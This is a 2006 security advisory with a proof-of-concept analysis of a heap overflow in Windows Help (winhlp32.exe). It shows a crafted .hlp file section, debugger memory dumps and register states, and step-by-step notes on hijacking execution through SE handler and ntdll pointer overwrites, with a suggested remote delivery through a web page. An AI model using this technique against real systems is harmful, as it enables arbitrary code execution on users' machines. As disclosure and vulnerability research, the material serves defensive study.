/*
 *****************************************************************************************************************
  $ An open security advisory #15 - Windows Help Heap Overflow
 *****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
  2: Bug Released: March 31st 2006
  3: Bug Impact Rate: Undefined
  4: Bug Scope Rate: Local / Remote in cases
 *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial gain.
 *****************************************************************************************************************

 Windows Help
 www.microsoft.com


 There is a heap based buffer overflow in the rendering engine of .hlp files in winhlp32.exe which will allow some
 attacker the possibility of modifying the internal structure of the process with a means to execute arbitrary and
 malicious code.

 By modifying the value of an image embedded within a .hlp file, (tested with ? image and [] button images) it is
 possible to trigger this bug and overflow a static buffer that is defined for data sections of the .hlp file. This
 grants the attacker with the ability to perform an overwrite of block(n) and the following blocks control data.

 I thought this was an april fools but it's a day too early :) Microsoft decide to reject this issue as Windows Help
 is a scriptable environment and as such should not be trusted, as a malicious person could add this said "script"
 to .hlp files which would execute "stuff" on the users system. Therefor I release this Heap Overflow as another
 untrustable issue with this Microsoft product.

 I met some Microsoft Security Auditor guys at Blackhat, Alex and some dude called Skylined --- sorry that I didnt
 mention this bug or the one in hh.exe and t3h ebUl.chm, I was selling out to get IDefense bug bounty, but alas it
 back fired. I could have done with $10000 but ho hum, you win some you loose some :-)

*/


 // Example vulnerable section of a .hlp file ( I used acmsetup.hlp in this example) :
 ......snip .....
 :CW(`main'):FH()
 :CBB(`btn_topics
 ',`NS():JI(`>mai
 n',`HelpTopicsBu
 tton'):FH():CS()
 :FH():FD()'):SPC
 (16777215):FH().
 .........lP.....
 ............. ..
 .z...\..........
 ................
 ................
 ..w..x......x...
 ..5.`......%...e
 % ....3.@=......
 ..x.......w..



 // One with malicious input 'inserted' to trigger the bug:
 ......snip......
 :CW(`main'):FH()
 :CBB(`btn_topics
 ',`NS():JI(`>mai
 n',`HelpTopicsBu
 tton'):FH():CS()
 :FH():FD()'):SPC
  (16777215):FH().
  .........lP.....
  ............. ..
 .z...\..........
 .........AAAAAAA
 AAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAA
 plus 10,000 more



 After winhlp32.exe opens the .hlp file, the heap state will be as follows:


 HEAP[winhlp32.exe]: Heap block at 0009B940 modified at 0009B9A2 past requested size of 5a
 0:000> dd 0009b940
 0009b940  0005000f 001e0700 4f26001f 41697470
 0009b950  41414141 abababab 41ababab feeefeee
 0009b960  4100feee 41414141 00040000 41000005
 0009b970  554d001b 41002928 41414141 feababab
 0009b980  4100feee 00000000 41060000 41414141
 0009b990  6f42001f 416d6b6f 65446b72 416e6966
 0009b9a0  41414141 abababab 41ababab feeefeee
 0009b9b0  4100feee 00004141 000f0006 feee0400


 HEAP[winhlp32.exe]: Invalid Address specified to RtlFreeHeap( 00090000, 0009B948 )
 (728.2f8): Break instruction exception - code 80000003 (first chance)
 eax=0009b940 ebx=0009b940 ecx=77f75c17 edx=0007ecba esi=00090000 edi=0009b940
 eip=77f75a58 esp=0007eec4 ebp=0007eed8 iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000202
 0:000> dd 0009B948
 0009b948  4f26001f 41697470 41414141 abababab
 0009b958  41ababab feeefeee 4100feee 41414141
 0009b968  00040000 41000005 554d001b 41002928
 0009b978  41414141 feababab 4100feee 00000000
 0009b988  41060000 41414141 6f42001f 416d6b6f
 0009b998  65446b72 416e6966 41414141 abababab
 0009b9a8  41ababab feeefeee 4100feee 00004141
 0009b9b8  000f0006 00230400 000901a8 000901a8


 HEAP[winhlp32.exe]: Heap block at 0009BE50 modified at 0009BF54 past requested size of fc
 0:000> dd 0009BE50
 0009be50  00180023 001c0700 02390006 007a0000
 0009be60  00000000 02b30000 00280000 000e0000
 0009be70  000d0000 00010000 00000004 00000000
 0009be80  00000000 005a0000 00100000 00000000
 0009be90  00000000 00000000 80000080 80000000
 0009bea0  00800080 00800000 80800080 41410000
 0009beb0  41414141 41414141 41414141 41414141
 0009bec0  41414141 41414141 41414141 41414141


 Here we can see we have overwritten the end of the previous chunk at 0009be54 and over the control section of the
 next following chunks
 

 0:000> dd 0009BF54
 0009bf54  41414141 41414141 41414141 41414141
 0009bf64  41414141 41414141 41414141 41414141
 0009bf74  41414141 41414141 41414141 41414141
 0009bf84  41414141 41414141 41414141 41414141
 0009bf94  41414141 41414141 41414141 41414141
 0009bfa4  41414141 41414141 41414141 41414141
 0009bfb4  41414141 41414141 41414141 41414141
 0009bfc4  41414141 41414141 41414141 41414141



 This situation provides a 4-byte arbitrary memory overwrite due to the fact that we directly control two pointers
 in the heaps management structure:


 EAX 41414141
 ECX 41414141
 EDX 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
 EBX 00090000
 ESP 0007F90C
 EBP 0007FB30
 ESI 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
 EDI 00000068
 EIP 77F581BD ntdll.77F581BD



 "The instruction at "0x77f581bd" referenced memory at "0x41414141". The memory could not be "written"

 (dc.cc): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 
 eax=41414141 ebx=0000003f ecx=41414141 edx=0009bf68 esi=0009bf68 edi=00090000
 eip=77f581bd esp=0007e684 ebp=0007e89c iopl=0         nv up ei pl zr na po nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
 77f581bd 8901             mov     [ecx],eax         ds:0023:41414141=????????


  >   77f581bd   8901             MOV DWORD PTR DS:[ECX],EAX
  >   77f581bf   8948 04          MOV DWORD PTR DS:[EAX+4],ECX


 Analysing the heap state afterwards, we can see we are able to modify the heap structures with user supplied input,
 which will grant the attacker the possibility of overwriting 4 bytes of writable memory with user supplied values.
 
 We can see that we have a classic heap overflow and can now either perform an overwrite of _VECTORED_EXCEPTION_NODE,
 UnhandledExceptionFilter or RtlEnterCriticalSection amongst other locations, which will return us back to malicious
 code and execute it for us. Another simple, useful option is to simply hijack the applications SE Handler directly
 which will allow us to gain control of the process in the same manner.


  * set ecx -> Top SE handler address
  * set eax -> Set EAX to a pointer to our supplied input  (0x0009E7B2)

 ...which will result in EIP being owned here after continuing:


 EAX 00000000
 ECX 0009E7B2
 EDX 77FB1742 ntdll.77FB1742
 EBX 00000000
 ESP 0007E2B8
 EBP 0007E2D8
 ESI 00000000
 EDI 00000000
 EIP 0009E7B6  ---> what ever is here will be executed  ( our supplied data is :) )



 However, we are not going to do that, instead we are going to target a different stack pointer @ ntdll.77F51C48.
 Running winhlp32.exe in Olly, we set the argument as the malicious.hlp file and run it, eventually it will die here:


 77F8452D   8901             MOV DWORD PTR DS:[ECX],EAX
 77F8452F   8948 04          MOV DWORD PTR DS:[EAX+4],ECX


 And the registers will have the following setup after the crash:


 EAX 74747474
 ECX 74747474
 EDX 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
 EBX 0000003F
 ESP 0007E684
 EBP 0007E89C
 ESI 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
 EDI 00090000
 EIP 77F8452D ntdll.77F8452D
 
 
 Now, the stack location we are interested in looks like so at this point:
 

 0007E88C   0007E910  Pointer to next SEH record
 0007E890   77FA88F0  SE handler
 0007E894   77F51C48  ntdll.77F51C48  <<-------------  Our victim
 

 We then set EAX (which is user controlled) to -4 the attacked location 0007E894, and when MOV [EAX+4],ECX happens, we
 shall overwrite our target. We now set ECX to a pointer to our controllable input, a few bytes past all those t's to
 get to our pot of honey:


 EAX 0007E890
 ECX 0009BED8 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 EDX 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
 EBX 0000003F
 ESP 0007E684
 EBP 0007E89C
 ESI 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
 EDI 00090000
 EIP 77F8452D ntdll.77F8452D


 ..we then continue the process and pass the exception to the application, which after dealing with we end up with our
 registers looking like so:


 EAX 0009BEB8
 ECX 77F75C17 ntdll.77F75C17
 EDX 0007E474
 EBX 0003A390
 ESP 0007E678
 EBP 0007E89C
 ESI 0009BEB8
 EDI 00000000
 EIP 77F75A59 ntdll.77F75A59


 ...and, our stack location where the victim is laying will be looking like so:


 0007E88C   0007E910  Pointer to next SEH record
 0007E890   77FA88F0  SE handler
 0007E894   0009BED8  <<----------------  Here we go!


 great, we have modified our victim pointer with our nasty address, which is now pointing in to our pot of honey!! We
 then continue the process again and let the application deal with the exception, and after a second we have control of
 our application:


 EAX 0007E298
 ECX 00000003
 EDX 77FB1742 ntdll.77FB1742
 EBX 0007E88C
 ESP 0007E27C
 EBP 0007E89C
 ESI 00000001
 EDI 0009BED8
 EIP 41414141


 It should be possible to perform this attack remotly by embedding the .hlp file into an HTML page and tricking a
 user to click the link, granting remote access to the system with the permissions of the user who executed the help
 file.


 regards, c0ntex